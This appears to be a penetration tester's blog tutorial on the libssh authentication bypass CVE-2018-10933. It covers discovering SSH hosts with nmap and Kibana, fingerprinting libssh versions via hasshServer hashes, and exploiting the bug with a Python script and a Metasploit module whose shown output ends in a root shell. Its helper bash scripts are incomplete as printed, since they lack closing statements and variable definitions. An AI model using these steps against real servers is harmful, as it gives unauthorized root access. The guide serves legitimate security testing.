On the 16th of October 2018, an important security release from libssh has been published in order to address CVE-2018-10933:

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials.

The bug was discovered by Peter Winter-Smith of NCC Group.

Since then, many people started debating on Twitter about causes and impact. So here I want to writeup a practical guide which explains how to find hosts (in your network) vulnerable to the libSSH Authentication Bypass, and how to exploit them to gain shell access.

Scripts and Kibana Visualizations used in this article can be found on Github: https://github.com/marco-lancini/hunt-for-cve-2018-10933.

1. Find Hosts Running SSH

Let’s say you are in the middle of an engagement and want to find all hosts running libSSH. At this point you might have already run a few scans to identify open ports, so the first step is to identify all ssh-based services.

I usually load all my nmap scan results to Offensive ELK, which allows me to use Kibana to query and quickly sift through huge amounts of data. In this case, I created a new visualization that allows me to export IP:PORT combinations to a CSV file:

  • First, I added a filter to select only services with containing the keyword ssh:
Kibana Visualization
Kibana Visualization - filter by service type.
  • Second, I added a bucket where rows are split by the field ip.keyword:
Kibana Visualization
Kibana Visualization - split by IP.
  • Finally, I added a sub-bucket where rows are furtherly split by the field port.keyword:
Kibana Visualization
Kibana Visualization - split by port.

This gave me a table like the one shown below, with a combination of IP:PORT. Next, I exported the table to CSV by clicking on the “Formatted” button at the bottom of the page.

Kibana Visualization
Kibana Visualization - SSH Services.

Open the CSV file, delete the headers, and insert the following formula in cell E1 to concatenate the PORT (B) and IP (A) columns, with a space in the middle, so that later we can parse these strings with nmap:

=B1&" "&A1

Data concatenation
CSV File - Concatenate port and IP address.

Apply the formula to all cells in column E, then export this column to a txt file for convenience (targets.txt).

2. Identify hosts running libSSH

The ssh-hassh NSE script can be used to identify both the hasshServer (i.e., SSH Server Fingerprint) and the hasshServerAlgorithms for our target SSH servers. Grab the NSE script and place it in the scripts folder of your nmap installation (usually this should be located at /usr/share/nmap/scripts/).

Next, we have to run the ssh-hassh script against every host contained in our target list:

nmap --script ssh-hassh -p <PORT> <IP>

To speed up things I created a quick (and dirty) bash script to iterate through every line of the target list, as well as saving scan results to a folder:

cat scan_hassh.sh
# ------------------- CHECK ARGUMENTS
if [[ $# -ne 1 ]] ; then
    echo "Usage: $0 <sourcefile>"
    exit 1

# ------------------- CREATE OUTPUT FOLDER
echo "[+] Creating output directory: $OUT_DIR"
mkdir -p $OUT_DIR

# ------------------- PARSE SOURCE FILE
while IFS='' read -r line || [[ -n "$line" ]]; do
    ip_path=${line/ /_}                              # Replace space with underscore

    # ------------------- PERFORM SCAN
    printf "[+] Scan: $ip_path \t-->\t $output\n"
    nmap -v -Pn -n --script ssh-hassh -p${line} -oN $output

Run it and let it do its job (it might take a while, depending on the size of your target list):

$ ./scan_hassh.sh targets.txt

3. Identify hosts vulnerable to CVE-2018-10933

On GitHub, an analysis of the Censys Public Scan to estimate the number of servers potentially vulnerable to this bug has already been published.

From this analysis, we can obtain the most common hasshServer values for each libssh version. Here I reported a snapshot, but refer to the original Gist for updates:

hasshServer Server Identification String
489e30454fb8c5bdc15e54b24a80d109 SSH-2.0-libssh-0.6.0
300791d5ac0d0fe0c11c7591e1216691 SSH-2.0-libssh-0.6.0,
5415e306f43f87ee2a5b9e5211eaefac SSH-2.0-libssh_0.7.0
6b52d83483f50b8f01f406a47b0c730c SSH-2.0-libssh_0.7.0
6e3fb87b7382dbced382641f012ced5e SSH-2.0-libssh-0.7.0
525f9e1788267b077b6e2b2529492905 SSH-2.0-libssh-0.7.0
e80597ec7cbc1477a68bd9117d87dfdd SSH-2.0-libssh-0.7.2,
bf8ae9cb26a1222fe7b9323edd6f8814 SSH-2.0-libssh-0.6.0,
85a34ecc072b7fee11a05e8208ffc2a2 SSH-2.0-libssh_0.7.0
3cec38e362b52f605c3f619d2fa898a9 SSH-2.0-libssh-0.6.0
e5c1da26cdde67ec7b2a7759b13b6d28 SSH-2.0-libssh-0.6.5
50a0624954cdf5c897aac12b66688dec SSH-2.0-libssh_0.7.5
c251cb842064997a986c1bc145aec3bd SSH-2.0-libssh-0.6.0,
a3c5503aaac766fe70067eb7d7114046 SSH-2.0-libssh_0.7.5
a957df03ca15a1f0f532f55cb031d4a0 SSH-2.0-libssh-0.6.3
ff0e73523bfc6173fc6029705689efa5 SSH-2.0-libssh_0.7.5
59553fa7f7cd28b35246771fa9a493ea SSH-2.0-libssh-0.7.3
9e706fd7cb4747756448bbc74e27220b SSH-2.0-libssh-0.6.0
7f0ad9c1c1b97136bb439aee56427bea SSH-2.0-libssh-0.7.2
c5e3f21bfd616e32afee0563dc27880d SSH-2.0-libssh-0.7.3

We now just have to cross-check these fingerprints against our nmap scan results. Probably, the quickest way consist in putting the hasshServer values into a text file (hashes.txt) and then grep for them within the nmap results folder. Here I created another quick bash script to automate this process:

cat grep_hashes.sh

for h in $(cat $HASHES)
    printf "[+] Looking for: $h\n"
    grep -R $h $OUT_DIR

❯ ./grep_hashes.sh
[+] Looking for: 489e30454fb8c5bdc15e54b24a80d109

4. Exploitation

The manual way

If you identify any vulnerable server, the libSSH-Authentication-Bypass repository contains a python script that will allow you to spawn to shell without any credentials by exploiting CVE-2018-10933.

Grab a copy of libsshauthbypass.py and run it against the vulnerable servers:

❯ libsshauthbypass.py --host <IP> --port <PORTx>

The Metasploit way

A new module has been added to Metasploit to exploit this issue: auxiliary/scanner/ssh/libssh_auth_bypass:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > options

Module options (auxiliary/scanner/ssh/libssh_auth_bypass):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CHECK_BANNER  true             no        Check banner for "libssh"
   CMD                            no        Command to execute
   RHOSTS      yes       The target address range or CIDR identifier
   RPORT         22               yes       The target port
   SPAWN_PTY     true             no        Spawn a PTY
   THREADS       1                yes       The number of concurrent threads

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] - Attempting authentication bypass
[*] Command shell session 1 opened ( -> at 2018-10-22 20:31:21
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...

# id
uid=0(root) gid=0(root) groups=0(root)